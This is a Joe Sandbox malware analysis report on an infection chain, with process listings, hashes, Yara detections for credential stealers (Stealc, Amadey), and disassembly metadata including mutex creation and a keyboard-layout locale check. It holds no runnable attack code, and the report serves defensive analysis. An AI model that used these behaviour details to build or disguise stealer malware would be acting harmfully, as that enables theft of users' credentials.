File size:	1'867'776 bytes
MD5 hash:	8384621273222DEBEA0FCF855A0E1C0A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2209237506.0000000000EA6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2209543082.0000000000EAB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:01:12
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe"
Imagebase:	0x10000
File size:	5'104'640 bytes
MD5 hash:	E8986E2F122CDFCFED4853174606574F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000003.00000002.2464807100.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000003.00000002.2462262257.0000000000011000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:01:24
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe"
Imagebase:	0xa40000
File size:	3'209'216 bytes
MD5 hash:	023D3E22C2DF966B7EC6B1950A2FBC95
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 57%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:01:28
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x290000
File size:	3'209'216 bytes
MD5 hash:	023D3E22C2DF966B7EC6B1950A2FBC95
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2624408970.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 57%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:02:00
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x290000
File size:	3'209'216 bytes
MD5 hash:	023D3E22C2DF966B7EC6B1950A2FBC95
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Function 00EC549D Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2389175343.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp, Offset: 00EB9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_eab000_mDuCbT8LnH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9f615fe7122b0711f7c986b4b17af2c2c934c295babe2a3cf5f078bebf41461
Instruction ID: 4a4c90f039981716ab7128f65922d2d05da9fe07b5a227159525aad1c08f5a0c
Opcode Fuzzy Hash: d9f615fe7122b0711f7c986b4b17af2c2c934c295babe2a3cf5f078bebf41461
Instruction Fuzzy Hash: 6D51ED2200A385AFC72ACF71DA51987BF78FF07314B2942CEE4C05E523D2656606EB86

Analysis Process: 40KDYYZHGE3JBLN65FUJY4PQI.exePID: 1248, Parent PID: 6204COMMON

Execution Graph

Execution Coverage:	3.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.2%
Total number of Nodes:	760
Total number of Limit Nodes:	16

Executed Functions

Function 00A7652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,00A7652A,?,?,?,?,?,00A77661), ref: 00A76567

Memory Dump Source

Source File: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000005.00000002.2582016803.0000000000A40000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582045722.0000000000AA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582152811.0000000000AA9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582184038.0000000000AAB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582241695.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582379032.0000000000C08000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582414020.0000000000C0A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582478104.0000000000C21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582513744.0000000000C24000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582549428.0000000000C25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582549428.0000000000C2D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582624191.0000000000C35000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582661339.0000000000C36000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582700893.0000000000C37000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582745251.0000000000C38000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582787161.0000000000C48000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582826961.0000000000C49000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582870817.0000000000C5B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582920264.0000000000C5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582957744.0000000000C5E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582997051.0000000000C5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583038394.0000000000C67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583074805.0000000000C71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583128313.0000000000C87000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583157592.0000000000C88000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583204378.0000000000C89000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583691429.0000000000C8E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584215250.0000000000C95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584250723.0000000000C96000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584303093.0000000000C97000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584362924.0000000000C98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584411433.0000000000C99000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584460371.0000000000CA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584511021.0000000000CA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584566061.0000000000CA4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584616526.0000000000CAF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584665613.0000000000CB1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584699699.0000000000CB2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584739403.0000000000CB9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584772666.0000000000CC0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584803550.0000000000CC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584832904.0000000000CC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584867811.0000000000CCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584903310.0000000000CDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584936720.0000000000CDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584976276.0000000000CEC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585008491.0000000000CEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585008491.0000000000D0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585085306.0000000000D23000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585132448.0000000000D25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585161652.0000000000D39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585190309.0000000000D3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585227914.0000000000D3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585268527.0000000000D3F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585308930.0000000000D41000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585339169.0000000000D4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585371552.0000000000D50000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_a40000_40KDYYZHGE3JBLN65FUJY4PQI.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 55b1fc9bafc1c74caedb4d50c29801ae4a71cedd5983eee8724579bb04e474e7
Instruction ID: b405928b53cc96014b024682b9410a1c0cefb64d9e3bedf54cb4b560ee014d67
Opcode Fuzzy Hash: 55b1fc9bafc1c74caedb4d50c29801ae4a71cedd5983eee8724579bb04e474e7
Instruction Fuzzy Hash: 5EE08C30041508AECE25BB18CD59F893B2AEB52759F10CC14FC1C8A622CB66ED82DA81

Function 048B0764 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2588297997.00000000048B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_48b0000_40KDYYZHGE3JBLN65FUJY4PQI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a282ba36a59181f831747a55d2cbea829c47c1f0d5ed24db5836d7808ea817ba
Instruction ID: a286b2852fafd95087a139d81366e4e809bf12dcc2a832fe943d40df67975713
Opcode Fuzzy Hash: a282ba36a59181f831747a55d2cbea829c47c1f0d5ed24db5836d7808ea817ba
Instruction Fuzzy Hash: 24F054A630D11CEE614185415B508F7A758E5837397308F62F8C7CA301F7556A4579F9

Function 00A45C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Keyboard Layout\Preload, xrefs: 00A46054
00000422, xrefs: 00A460C9
0000043f, xrefs: 00A4612B
00000419, xrefs: 00A46098
00000423, xrefs: 00A460FA

Memory Dump Source

Source File: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000005.00000002.2582016803.0000000000A40000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582045722.0000000000AA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582152811.0000000000AA9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582184038.0000000000AAB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582241695.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582379032.0000000000C08000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582414020.0000000000C0A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582478104.0000000000C21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582513744.0000000000C24000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582549428.0000000000C25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582549428.0000000000C2D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582624191.0000000000C35000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582661339.0000000000C36000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582700893.0000000000C37000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582745251.0000000000C38000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582787161.0000000000C48000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582826961.0000000000C49000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582870817.0000000000C5B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582920264.0000000000C5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582957744.0000000000C5E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582997051.0000000000C5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583038394.0000000000C67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583074805.0000000000C71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583128313.0000000000C87000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583157592.0000000000C88000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583204378.0000000000C89000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583691429.0000000000C8E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584215250.0000000000C95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584250723.0000000000C96000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584303093.0000000000C97000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584362924.0000000000C98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584411433.0000000000C99000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584460371.0000000000CA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584511021.0000000000CA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584566061.0000000000CA4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584616526.0000000000CAF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584665613.0000000000CB1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584699699.0000000000CB2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584739403.0000000000CB9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584772666.0000000000CC0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584803550.0000000000CC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584832904.0000000000CC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584867811.0000000000CCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584903310.0000000000CDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584936720.0000000000CDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584976276.0000000000CEC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585008491.0000000000CEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585008491.0000000000D0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585085306.0000000000D23000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585132448.0000000000D25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585161652.0000000000D39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585190309.0000000000D3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585227914.0000000000D3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585268527.0000000000D3F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585308930.0000000000D41000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585339169.0000000000D4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585371552.0000000000D50000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_a40000_40KDYYZHGE3JBLN65FUJY4PQI.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: b06d24fd6a05306b2869f039e9f23a5c44b58657acd0458a9b43e2c4ffd052eb
Instruction ID: c88fd60b3844c98f9b479662cc30d90e38f3d7bebaa334c86da4d00c525362f7
Opcode Fuzzy Hash: b06d24fd6a05306b2869f039e9f23a5c44b58657acd0458a9b43e2c4ffd052eb
Instruction Fuzzy Hash: 95F1D370900248AFEB24DF64CD85BDEB7B9FF45304F504699E908A72C2DB749A88CF95

Function 00A49BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00A4A963
CreateMutexA.KERNEL32(00000000,00000000,00AA3254), ref: 00A4A981

Memory Dump Source

Source File: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000005.00000002.2582016803.0000000000A40000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582045722.0000000000AA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582152811.0000000000AA9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582184038.0000000000AAB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582241695.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582379032.0000000000C08000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582414020.0000000000C0A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582478104.0000000000C21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582513744.0000000000C24000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582549428.0000000000C25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582549428.0000000000C2D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582624191.0000000000C35000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582661339.0000000000C36000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582700893.0000000000C37000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582745251.0000000000C38000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582787161.0000000000C48000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582826961.0000000000C49000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582870817.0000000000C5B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582920264.0000000000C5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582957744.0000000000C5E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582997051.0000000000C5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583038394.0000000000C67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583074805.0000000000C71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583128313.0000000000C87000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583157592.0000000000C88000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583204378.0000000000C89000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583691429.0000000000C8E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584215250.0000000000C95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584250723.0000000000C96000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584303093.0000000000C97000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584362924.0000000000C98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584411433.0000000000C99000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584460371.0000000000CA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584511021.0000000000CA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584566061.0000000000CA4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584616526.0000000000CAF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584665613.0000000000CB1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584699699.0000000000CB2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584739403.0000000000CB9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584772666.0000000000CC0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584803550.0000000000CC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584832904.0000000000CC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584867811.0000000000CCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584903310.0000000000CDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584936720.0000000000CDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2584976276.0000000000CEC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585008491.0000000000CEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585008491.0000000000D0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585085306.0000000000D23000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585132448.0000000000D25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585161652.0000000000D39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585190309.0000000000D3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585227914.0000000000D3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585268527.0000000000D3F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585308930.0000000000D41000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585339169.0000000000D4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2585371552.0000000000D50000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_a40000_40KDYYZHGE3JBLN65FUJY4PQI.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b3895da0a63c3b24ad76e2690df6c84366bbd08608f2f2cc25701a7639eae4b6
Instruction ID: 89a9126dc4ae935c6bb071e043b379cb8d0941b6b4a937273ce2572b684b98d1
Opcode Fuzzy Hash: b3895da0a63c3b24ad76e2690df6c84366bbd08608f2f2cc25701a7639eae4b6
Instruction Fuzzy Hash: B03133716402048BEB18DBBCDD897AFBBA2EBD2314F208618E014D77DAC7B599858752

Function 00A49F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00A4A963
CreateMutexA.KERNEL32(00000000,00000000,00AA3254), ref: 00A4A981

Memory Dump Source

Source File: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000005.00000002.2582016803.0000000000A40000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582045722.0000000000AA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582152811.0000000000AA9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582184038.0000000000AAB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582241695.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582379032.0000000000C08000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582414020.0000000000C0A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582478104.0000000000C21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582513744.0000000000C24000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582549428.0000000000C25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582549428.0000000000C2D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582624191.0000000000C35000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582661339.0000000000C36000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582700893.0000000000C37000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582745251.0000000000C38000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582787161.0000000000C48000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582826961.0000000000C49000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582870817.0000000000C5B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582920264.0000000000C5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582957744.0000000000C5E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2582997051.0000000000C5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583038394.0000000000C67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583074805.0000000000C71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583128313.0000000000C87000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583157592.0000000000C88000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583204378.0000000000C89000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2583691429.0000000000C8E000.00000040.00000001.01000000.00000008.sdmpDownload File
